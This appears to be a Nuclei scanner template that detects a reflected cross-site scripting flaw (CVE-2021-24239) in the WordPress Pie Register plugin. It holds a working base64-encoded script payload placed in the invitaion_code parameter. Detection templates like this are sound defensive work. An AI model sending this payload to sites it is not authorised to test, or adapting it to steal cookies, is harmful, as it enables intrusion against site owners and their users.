id: CVE-2021-24239

info:
  name: WordPress Pie Register <3.7.0.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Pie Register plugin before 3.7.0.1 is susceptible to cross-site scripting. The plugin does not sanitize the invitaion_code GET parameter when outputting it in the Activation Code page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the victim's browser, potentially allowing an attacker to steal sensitive information or perform actions on behalf of the victim.
  remediation: Fixed in version 3.7.0.1.
  reference:
    - https://wpscan.com/vulnerability/f1b67f40-642f-451e-a67a-b7487918ee34
    - https://plugins.trac.wordpress.org/changeset/2507536/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24239
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24239
    cwe-id: CWE-79
    epss-score: 0.01855
    epss-percentile: 0.83297
    cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: genetechsolutions
    product: "pie_register"
    framework: wordpress
  tags: cve2021,cve,xss,pie-register,wp,wpscan,genetechsolutions,wordpress,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/pie-register/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Pie Register'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=pr_new_registration_form&show_dash_widget=1&invitaion_code=PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg=="

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<script>alert(document.domain);</script>") && contains(body, "invitaion-code-table")'
        condition: and
# digest: 4b0a00483046022100c3f1346594b4170d3c3e6cd0a46988fb630a0f605f46f55ad3b33106e5a15fad022100f66ef0dd65eb82aa7f3b630f8fb08fcf3390f361907cddde3915be306007ce29:922c64590222798bb761d5b6d8e72950